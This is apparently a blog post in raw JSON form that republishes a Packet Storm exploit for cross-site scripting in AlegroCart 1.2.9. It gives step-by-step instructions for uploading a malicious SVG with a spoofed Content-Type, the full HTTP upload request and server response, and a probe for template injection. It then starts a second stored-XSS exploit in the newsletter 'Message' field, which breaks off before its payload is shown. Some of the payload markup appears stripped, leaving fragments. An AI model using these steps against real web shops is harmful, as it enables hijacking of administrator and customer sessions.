{"id":1419,"date":"2025-04-24T11:32:18","date_gmt":"2025-04-24T11:32:18","guid":{"rendered":"http:\/\/localhost\/?p=1419"},"modified":"2025-04-24T11:32:18","modified_gmt":"2025-04-24T11:32:18","slug":"alegrocart-129-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=1419","title":{"rendered":"AlegroCart 1.2.9 Cross Site Scripting"},"content":{"rendered":"

Exploit Details<\/h2>\n

Basic Information<\/h3>\n\n\n\n\n\n\n
Exploit Title<\/th>\nAlegroCart 1.2.9 Cross Site Scripting<\/td>\n<\/tr>\n
Exploit ID<\/th>\nPACKETSTORM:190656<\/td>\n<\/tr>\n
Type<\/th>\npacketstorm<\/td>\n<\/tr>\n
Published<\/th>\n2025-04-24T00:00:00<\/td>\n<\/tr>\n
Modified<\/th>\n2025-04-24T00:00:00<\/td>\n<\/tr>\n<\/table>\n

CVSS Information<\/h3>\n\n\n\n\n
CVSS Score<\/th>\n0.0<\/td>\n<\/tr>\n
Severity<\/th>\nNONE<\/td>\n<\/tr>\n
Vector<\/th>\nNONE<\/td>\n<\/tr>\n<\/table>\n

CVE Information<\/h3>\n
\n
    \n<\/ul>\n<\/div>\n

    Exploit Description<\/h3>\n
    \nAlegroCart……\n<\/div>\n

    Exploit Code<\/h3>\n
    \n# Exploit Title: XSS via SVG Image Upload – alegrocartv1.2.9
    # Date: 04\/2025
    # Exploit Author: Andrey Stoykov
    # Version: 1.2.9
    # Tested on: Debian 12
    # Blog: https:\/\/msecureltd.blogspot.com\/<\/p>\n

    XSS via SVG Image Upload:<\/p>\n

    Steps to Reproduce:<\/p>\n

    1. Visit http:\/\/192.168.58.129\/alegrocart\/administrator\/?controller=download
    2. Upload SVG image file with the contents below
    3. Intercept the POST request and change the Content-Type to “Content-Type:
    image\/jpg”
    4. Then visit “http:\/\/192.168.58.129\/alegrocart\/download\/xss.svg” to
    trigger the XSS<\/p>\n




    placeholder=”Type here…”\/>
    <\/body>
    <\/foreignObject>
    <\/svg><\/p>\n

    \/\/ HTTP POST request<\/p>\n

    POST \/alegrocart\/administrator\/?controller=download&action=insert HTTP\/1.1
    Host: 192.168.58.129
    User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
    Gecko\/20100101 Firefox\/138.0
    […]<\/p>\n

    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”language[1][name]”<\/p>\n

    {{7*7}}
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”fileName”<\/p>\n

    xss.svg
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”download”; filename=”xss.svg”
    Content-Type: image\/jpg<\/p>\n




    placeholder=”Type here…”\/>
    <\/body>
    <\/foreignObject>
    <\/svg>
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”mask”<\/p>\n

    6760664742675684.svg
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”remaining”<\/p>\n

    1
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
    Content-Disposition: form-data; name=”79d45153379f999ff64e1198b05faae6″<\/p>\n

    586fdeeeaf42c0c557291be4d32afe11
    ——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc–<\/p>\n

    \/\/ HTTP Response<\/p>\n

    HTTP\/1.1 302 Found
    Date: Thu, 03 Apr 2025 20:42:59 GMT
    Server: Apache\/2.4.37 (Unix) OpenSSL\/1.0.2q PHP\/5.6.40 mod_perl\/2.0.8-dev
    Perl\/v5.16.3
    X-Powered-By: PHP\/5.6.40
    Location:
    http:\/\/192.168.58.129\/alegrocart\/administrator\/?controller=download
    Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
    Expires: Thu, 03 Apr 2025 20:42:59 GMT
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text\/html; charset=UTF-8<\/p>\n

    # Exploit Title: Stored XSS in “Message” Functionality – alegrocartv1.2.9
    # Date: 04\/2025
    # Exploit Author: Andrey Stoykov
    # Version: 1.2.9
    # Tested on: Debian 12
    # Blog: https:\/\/msecureltd.blogspot.com\/<\/p>\n

    Stored XSS #1:<\/p>\n

    Steps to Reproduce:<\/p>\n

    1. Login as demonstrator account and visit “Customers” > “Newsletter”
    2. In “Message” use the following XSS payload<\/p>\n